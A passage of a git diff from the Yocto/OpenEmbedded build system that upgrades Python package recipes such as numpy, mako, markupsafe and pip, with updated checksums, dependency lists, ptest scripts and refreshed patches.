+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jsonpointer/run-ptest b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
new file mode 100644
index 0000000000..51e609f4ba
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+python3 tests.py
diff --git a/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb b/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb
new file mode 100644
index 0000000000..225fde7556
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Resolve JSON Pointers in Python"
+HOMEPAGE = "https://github.com/stefankoegl/python-json-pointer"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=32b15c843b7a329130f4e266a281ebb3"
+
+inherit pypi ptest setuptools3
+
+SRC_URI[sha256sum] = "f09f8deecaaa5aea65b5eb4f67ca4e54e1a61f7a11c75085e360fe6feb6a48bf"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ cp -f ${S}/tests.py ${D}${PTEST_PATH}/
+}
diff --git a/meta/recipes-devtools/python/python3-jsonschema_3.2.0.bb b/meta/recipes-devtools/python/python3-jsonschema_3.2.0.bb
new file mode 100644
index 0000000000..c7efe33a83
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonschema_3.2.0.bb
@@ -0,0 +1,48 @@
+SUMMARY = "An implementation of JSON Schema validation for Python"
+HOMEPAGE = "https://github.com/Julian/jsonschema"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 \
+ file://json/LICENSE;md5=9d4de43111d33570c8fe49b4cb0e01af"
+DEPENDS += "${PYTHON_PN}-vcversioner-native ${PYTHON_PN}-setuptools-scm-native"
+
+SRC_URI[md5sum] = "f1a0b5011f05a02a8dee1070cd10a26d"
+SRC_URI[sha256sum] = "c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a"
+
+inherit pypi setuptools3
+
+PACKAGECONFIG ??= "format"
+PACKAGECONFIG[format] = ",,,\
+ ${PYTHON_PN}-idna \
+ ${PYTHON_PN}-jsonpointer \
+ ${PYTHON_PN}-webcolors \
+ ${PYTHON_PN}-rfc3987 \
+ ${PYTHON_PN}-strict-rfc3339 \
+"
+PACKAGECONFIG[nongpl] = ",,,\
+ ${PYTHON_PN}-idna \
+ ${PYTHON_PN}-jsonpointer \
+ ${PYTHON_PN}-webcolors \
+ ${PYTHON_PN}-rfc3986-validator \
+ ${PYTHON_PN}-rfc3339-validator \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-attrs \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-pyrsistent \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-six \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-setuptools-scm \
+ ${PYTHON_PN}-zipp \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb b/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb
deleted file mode 100644
index 3a2d8733e9..0000000000
--- a/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Python interface to libarchive"
-DESCRIPTION = "A Python interface to libarchive. It uses the standard ctypes module to \
- dynamically load and access the C library."
-HOMEPAGE = "https://github.com/Changaco/python-libarchive-c"
-LICENSE = "CC0-1.0"
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=bcab380227a83bc147350b40a81e6ffc"
-
-PYPI_PACKAGE = "libarchive-c"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "083bd2cb0043c1e22a52cb9a05e31532"
-SRC_URI[sha256sum] = "9919344cec203f5db6596a29b5bc26b07ba9662925a05e24980b84709232ef60"
-
-RDEPENDS_${PN} += "\
- libarchive \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-mmap \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-libarchive-c_3.2.bb b/meta/recipes-devtools/python/python3-libarchive-c_3.2.bb
new file mode 100644
index 0000000000..cc04210e72
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-libarchive-c_3.2.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Python interface to libarchive"
+DESCRIPTION = "A Python interface to libarchive. It uses the standard ctypes module to \
+ dynamically load and access the C library."
+HOMEPAGE = "https://github.com/Changaco/python-libarchive-c"
+LICENSE = "CC0-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=bcab380227a83bc147350b40a81e6ffc"
+
+PYPI_PACKAGE = "libarchive-c"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "21ad493f4628972fc82440bff54c834a9fbe13be3893037a4bad332b9ee741e5"
+
+RDEPENDS:${PN} += "\
+ libarchive \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-mmap \
+ ${PYTHON_PN}-logging \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-magic_0.4.18.bb b/meta/recipes-devtools/python/python3-magic_0.4.18.bb
deleted file mode 100644
index 101b96d31c..0000000000
--- a/meta/recipes-devtools/python/python3-magic_0.4.18.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "File type identification using libmagic"
-DESCRIPTION = "This module uses ctypes to access the libmagic file type \
- identification library. It makes use of the local magic database and supports \
- both textual and MIME-type output."
-HOMEPAGE = "http://github.com/ahupp/python-magic"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88"
-
-PYPI_PACKAGE = "python-magic"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "5edc6caa39cc62641850f6b1b6f284ba"
-SRC_URI[sha256sum] = "b757db2a5289ea3f1ced9e60f072965243ea43a2221430048fd8cacab17be0ce"
-
-RDEPENDS_${PN} += "file \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-shell"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-magic_0.4.24.bb b/meta/recipes-devtools/python/python3-magic_0.4.24.bb
new file mode 100644
index 0000000000..ae895fbd53
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-magic_0.4.24.bb
@@ -0,0 +1,22 @@
+SUMMARY = "File type identification using libmagic"
+DESCRIPTION = "This module uses ctypes to access the libmagic file type \
+ identification library. It makes use of the local magic database and supports \
+ both textual and MIME-type output."
+HOMEPAGE = "http://github.com/ahupp/python-magic"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=61495c152d794e6be5799a9edca149e3"
+
+PYPI_PACKAGE = "python-magic"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "de800df9fb50f8ec5974761054a708af6e4246b03b4bdaee993f948947b0ebcf"
+
+RDEPENDS:${PN} += "file \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-logging \
+ ${PYTHON_PN}-shell"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-mako_1.1.3.bb b/meta/recipes-devtools/python/python3-mako_1.1.3.bb
deleted file mode 100644
index cda4e99220..0000000000
--- a/meta/recipes-devtools/python/python3-mako_1.1.3.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Templating library for Python"
-HOMEPAGE = "http://www.makotemplates.org/"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=943eb67718222db21d44a4ef1836675f"
-
-PYPI_PACKAGE = "Mako"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "8195c8c1400ceb53496064314c6736719c6f25e7479cd24c77be3d9361cddc27"
-
-RDEPENDS_${PN} = "${PYTHON_PN}-html \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-threading \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-mako_1.1.6.bb b/meta/recipes-devtools/python/python3-mako_1.1.6.bb
new file mode 100644
index 0000000000..ec8c9cc12a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-mako_1.1.6.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Templating library for Python"
+HOMEPAGE = "http://www.makotemplates.org/"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=943eb67718222db21d44a4ef1836675f"
+
+PYPI_PACKAGE = "Mako"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "4e9e345a41924a954251b95b4b28e14a301145b544901332e658907a7464b6b2"
+
+RDEPENDS:${PN} = "${PYTHON_PN}-html \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-markdown_3.3.6.bb b/meta/recipes-devtools/python/python3-markdown_3.3.6.bb
new file mode 100644
index 0000000000..7b64da6d5b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markdown_3.3.6.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A Python implementation of John Gruber's Markdown."
+HOMEPAGE = "https://python-markdown.github.io/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=745aaad0c69c60039e638bff9ffc59ed"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "Markdown"
+SRC_URI[sha256sum] = "76df8ae32294ec39dcf89340382882dfa12975f87f45c3ed1ecdb1e8cefc7006"
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-logging ${PYTHON_PN}-setuptools"
diff --git a/meta/recipes-devtools/python/python3-markupsafe_1.1.1.bb b/meta/recipes-devtools/python/python3-markupsafe_1.1.1.bb
deleted file mode 100644
index 403a98a43f..0000000000
--- a/meta/recipes-devtools/python/python3-markupsafe_1.1.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-DESCRIPTION = "Implements a XML/HTML/XHTML Markup safe string for Python"
-HOMEPAGE = "http://github.com/mitsuhiko/markupsafe"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=ffeffa59c90c9c4a033c7574f8f3fb75"
-
-SRC_URI[md5sum] = "43fd756864fe42063068e092e220c57b"
-SRC_URI[sha256sum] = "29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b"
-
-PYPI_PACKAGE = "MarkupSafe"
-inherit pypi setuptools3
-# ptest disabled in OE-Core for now due to missing dependencies
-
-RDEPENDS_${PN} += "${PYTHON_PN}-stringold"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI += " \
- file://run-ptest \
-"
-
-RDEPENDS_${PN}-ptest += " \
- ${PYTHON_PN}-pytest \
-"
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/tests
- cp -f ${S}/tests/* ${D}${PTEST_PATH}/tests/
-}
diff --git a/meta/recipes-devtools/python/python3-markupsafe_2.0.1.bb b/meta/recipes-devtools/python/python3-markupsafe_2.0.1.bb
new file mode 100644
index 0000000000..857472cc7b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markupsafe_2.0.1.bb
@@ -0,0 +1,27 @@
+DESCRIPTION = "Implements a XML/HTML/XHTML Markup safe string for Python"
+HOMEPAGE = "http://github.com/mitsuhiko/markupsafe"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=ffeffa59c90c9c4a033c7574f8f3fb75"
+
+SRC_URI[sha256sum] = "594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"
+
+PYPI_PACKAGE = "MarkupSafe"
+inherit pypi setuptools3
+inherit ${@bb.utils.filter('DISTRO_FEATURES', 'ptest', d)}
+
+RDEPENDS:${PN} += "${PYTHON_PN}-stringold"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -f ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta/recipes-devtools/python/python3-more-itertools/run-ptest b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
new file mode 100644
index 0000000000..3385d68939
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb b/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb
new file mode 100644
index 0000000000..c1e34b205d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb
@@ -0,0 +1,27 @@
+DESCRIPTION = "More routines for operating on iterables, beyond itertools"
+HOMEPAGE = "https://github.com/erikrose/more-itertools"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3396ea30f9d21389d7857719816f83b5"
+
+SRC_URI[sha256sum] = "7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-asyncio \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
index cdb6a473d2..9f5f25f9b5 100644
--- a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
+++ b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
@@ -8,16 +8,15 @@ Subject: [PATCH] Don't search /usr and so on for libraries by default to
Upstream-Status: Inappropriate (As the code stands, this is a hack)
Signed-off-by: Ross Burton <ross.burton@intel.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
- numpy/distutils/system_info.py | 42 ++++------------------------------
- 1 file changed, 5 insertions(+), 37 deletions(-)
+ numpy/distutils/system_info.py | 42 +++++-----------------------------
+ 1 file changed, 6 insertions(+), 36 deletions(-)
diff --git a/numpy/distutils/system_info.py b/numpy/distutils/system_info.py
-index 3a6a7b2..6c2c3da 100644
+index 82e864a..135246d 100644
--- a/numpy/distutils/system_info.py
+++ b/numpy/distutils/system_info.py
-@@ -309,45 +309,13 @@ if sys.platform == 'win32':
+@@ -323,44 +323,14 @@ if sys.platform == 'win32':
add_system_root(os.path.join(conda_dir, 'Library'))
else:
@@ -25,7 +24,7 @@ index 3a6a7b2..6c2c3da 100644
- '/opt/local/lib', '/sw/lib'], platform_bits)
default_runtime_dirs = []
- default_include_dirs = ['/usr/local/include',
-- '/opt/include', '/usr/include',
+- '/opt/include',
- # path of umfpack under macports
- '/opt/local/include/ufsparse',
- '/opt/local/include', '/sw/include',
@@ -34,8 +33,7 @@ index 3a6a7b2..6c2c3da 100644
-
- default_x11_lib_dirs = libpaths(['/usr/X11R6/lib', '/usr/X11/lib',
- '/usr/lib'], platform_bits)
-- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include',
-- '/usr/include']
+- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include']
-
- if os.path.exists('/usr/lib/X11'):
- globbed_x11_dir = glob('/usr/lib/*/libX11.so')
@@ -59,15 +57,16 @@ index 3a6a7b2..6c2c3da 100644
- # gcc supports the "-print-multiarch" option
- default_x11_lib_dirs += [os.path.join("/usr/lib/", triplet)]
- default_lib_dirs += [os.path.join("/usr/lib/", triplet)]
+
+ default_lib_dirs = libpaths(['/deadir/lib'], platform_bits)
+ default_include_dirs = ['/deaddir/include']
+ default_src_dirs = ['.', '/deaddir/src']
-
++
+ default_x11_lib_dirs = libpaths(['/deaddir/lib'], platform_bits)
+ default_x11_include_dirs = ['/deaddir/include']
if os.path.join(sys.prefix, 'lib') not in default_lib_dirs:
default_lib_dirs.insert(0, os.path.join(sys.prefix, 'lib'))
--
-2.17.1
+2.25.1
diff --git a/meta/recipes-devtools/python-numpy/files/0001-numpy-core-Define-RISCV-32-support.patch b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
index b60ca1d216..b60ca1d216 100644
--- a/meta/recipes-devtools/python-numpy/files/0001-numpy-core-Define-RISCV-32-support.patch
+++ b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
diff --git a/meta/recipes-devtools/python/python3-numpy/run-ptest b/meta/recipes-devtools/python/python3-numpy/run-ptest
new file mode 100644
index 0000000000..9a1c72aeb1
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/run-ptest
@@ -0,0 +1,5 @@
+#!/usr/bin/env python3
+
+import numpy
+numpy.test(label='full', verbose=2)
+
diff --git a/meta/recipes-devtools/python/python3-numpy_1.21.4.bb b/meta/recipes-devtools/python/python3-numpy_1.21.4.bb
new file mode 100644
index 0000000000..a3ea4ab5aa
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy_1.21.4.bb
@@ -0,0 +1,59 @@
+SUMMARY = "A sophisticated Numeric Processing Package for Python"
+HOMEPAGE = "https://numpy.org/"
+DESCRIPTION = "NumPy is the fundamental package needed for scientific computing with Python."
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF & Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=b076ad374a7d311ba3126a22b2d52596"
+
+SRCNAME = "numpy"
+
+SRC_URI = "https://github.com/${SRCNAME}/${SRCNAME}/releases/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
+ file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
+ file://0001-numpy-core-Define-RISCV-32-support.patch \
+ file://run-ptest \
+"
+SRC_URI[sha256sum] = "5d412381aa489b8be82ac5c6a9e99c3eb3f754245ad3f90ab5c339d92f25fb47"
+
+UPSTREAM_CHECK_URI = "https://github.com/numpy/numpy/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+DEPENDS += "python3-cython-native"
+
+inherit ptest setuptools3
+
+S = "${WORKDIR}/numpy-${PV}"
+
+CLEANBROKEN = "1"
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a ${PYTHON_SITEPACKAGES_DIR}/numpy/random/lib/*.a"
+
+# install what is needed for numpy.test()
+RDEPENDS:${PN} = "${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-difflib \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-doctest \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-distutils \
+ ${PYTHON_PN}-misc \
+ ${PYTHON_PN}-mmap \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pydoc \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-threading \
+ ${PYTHON_PN}-multiprocessing \
+ ${PYTHON_PN}-json \
+"
+RDEPENDS:${PN}-ptest += "${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-hypothesis \
+ ${PYTHON_PN}-sortedcontainers \
+ ${PYTHON_PN}-resource \
+ ldd \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-packaging_21.3.bb b/meta/recipes-devtools/python/python3-packaging_21.3.bb
new file mode 100644
index 0000000000..446edf04e1
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-packaging_21.3.bb
@@ -0,0 +1,13 @@
+DESCRIPTION = "Core utilities for Python packages"
+HOMEPAGE = "https://github.com/pypa/packaging"
+LICENSE = "Apache-2.0 | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=faadaedca9251a90b205c9167578ce91"
+
+SRC_URI[sha256sum] = "dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS += "${PYTHON_PN}-setuptools-native"
+RDEPENDS:${PN} += "${PYTHON_PN}-pyparsing"
diff --git a/meta/recipes-devtools/python/python3-pathlib2_2.3.6.bb b/meta/recipes-devtools/python/python3-pathlib2_2.3.6.bb
new file mode 100644
index 0000000000..1f1cf1ab28
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pathlib2_2.3.6.bb
@@ -0,0 +1,12 @@
+DESCRIPTION = "Object-oriented filesystem paths"
+HOMEPAGE = "https://github.com/mcmtroffaes/pathlib2"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=2dc08586cce3ab91bfa091b655c0e440"
+
+SRC_URI[sha256sum] = "7d8bcb5555003cdf4a8d2872c538faa3a0f5d20630cb360e518ca3b981795e5f"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "${PYTHON_PN}-six ${PYTHON_PN}-ctypes"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pbr_5.4.4.bb b/meta/recipes-devtools/python/python3-pbr_5.4.4.bb
deleted file mode 100644
index 6f335ea341..0000000000
--- a/meta/recipes-devtools/python/python3-pbr_5.4.4.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-inherit setuptools3
-require python-pbr.inc
-
-SRC_URI[md5sum] = "65cdc32e1a1ff56d481fc15aa8caf988"
-SRC_URI[sha256sum] = "139d2625547dbfa5fb0b81daebb39601c478c21956dc57e2e07b74450a8c506b"
diff --git a/meta/recipes-devtools/python/python3-pbr_5.8.0.bb b/meta/recipes-devtools/python/python3-pbr_5.8.0.bb
new file mode 100644
index 0000000000..b74fc16754
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pbr_5.8.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-pbr.inc
+
+SRC_URI[sha256sum] = "672d8ebee84921862110f23fcec2acea191ef58543d34dfe9ef3d9f13c31cddf"
diff --git a/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
index 00cffe169b..d6c27b8461 100644
--- a/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
+++ b/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
@@ -1,50 +1,108 @@
-From e7a00e9b5104ae2fbcea32a35c85760b77fae7e5 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 23 Apr 2020 09:42:10 +0000
+From dca973830d4eee3e0f79e61237c44a9dd8201641 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <trevor.gamblin@windriver.com>
+Date: Tue, 22 Jun 2021 12:31:46 -0400
Subject: [PATCH] change shebang to python3
-Upstream-Status: Pending
+Upstream-Status: Inappropriate (OE-specific)
-pip will drop support of python2 from 21.0
+Despite no longer supporting python2, some files in the pip source refer
+to "python" instead of "python3", so patch them as needed to ensure that
+they correctly reference the python3 binary.
+
+Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
- src/pip/_internal/__init__.py | 2 +-
- src/pip/_vendor/appdirs.py | 2 +-
- src/pip/_vendor/chardet/cli/chardetect.py | 2 +-
- src/pip/_vendor/requests/certs.py | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
+ src/pip/_vendor/chardet/langbulgarianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langgreekmodel.py | 2 +-
+ src/pip/_vendor/chardet/langhebrewmodel.py | 2 +-
+ src/pip/_vendor/chardet/langhungarianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langrussianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langthaimodel.py | 2 +-
+ src/pip/_vendor/chardet/langturkishmodel.py | 2 +-
+ src/pip/_vendor/chardet/metadata/languages.py | 2 +-
+ src/pip/_vendor/requests/certs.py | 2 +-
+ 9 files changed, 9 insertions(+), 9 deletions(-)
-diff --git a/src/pip/_internal/__init__.py b/src/pip/_internal/__init__.py
-index 3aa8a46..e1ad179 100755
---- a/src/pip/_internal/__init__.py
-+++ b/src/pip/_internal/__init__.py
+diff --git a/src/pip/_vendor/chardet/langbulgarianmodel.py b/src/pip/_vendor/chardet/langbulgarianmodel.py
+index e963a50..97ea6ce 100644
+--- a/src/pip/_vendor/chardet/langbulgarianmodel.py
++++ b/src/pip/_vendor/chardet/langbulgarianmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langgreekmodel.py b/src/pip/_vendor/chardet/langgreekmodel.py
+index d99528e..4a127ea 100644
+--- a/src/pip/_vendor/chardet/langgreekmodel.py
++++ b/src/pip/_vendor/chardet/langgreekmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langhebrewmodel.py b/src/pip/_vendor/chardet/langhebrewmodel.py
+index 484c652..676c1a7 100644
+--- a/src/pip/_vendor/chardet/langhebrewmodel.py
++++ b/src/pip/_vendor/chardet/langhebrewmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langhungarianmodel.py b/src/pip/_vendor/chardet/langhungarianmodel.py
+index bbc5cda..042eae7 100644
+--- a/src/pip/_vendor/chardet/langhungarianmodel.py
++++ b/src/pip/_vendor/chardet/langhungarianmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langrussianmodel.py b/src/pip/_vendor/chardet/langrussianmodel.py
+index 5594452..564b02e 100644
+--- a/src/pip/_vendor/chardet/langrussianmodel.py
++++ b/src/pip/_vendor/chardet/langrussianmodel.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
- import pip._internal.utils.inject_securetransport # noqa
- from pip._internal.utils.typing import MYPY_CHECK_RUNNING
+ # -*- coding: utf-8 -*-
-diff --git a/src/pip/_vendor/appdirs.py b/src/pip/_vendor/appdirs.py
-index 3a52b75..ad3f81d 100644
---- a/src/pip/_vendor/appdirs.py
-+++ b/src/pip/_vendor/appdirs.py
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langthaimodel.py b/src/pip/_vendor/chardet/langthaimodel.py
+index 9a37db5..c974879 100644
+--- a/src/pip/_vendor/chardet/langthaimodel.py
++++ b/src/pip/_vendor/chardet/langthaimodel.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
- # Copyright (c) 2005-2010 ActiveState Software Inc.
- # Copyright (c) 2013 Eddy Petrișor
-diff --git a/src/pip/_vendor/chardet/cli/chardetect.py b/src/pip/_vendor/chardet/cli/chardetect.py
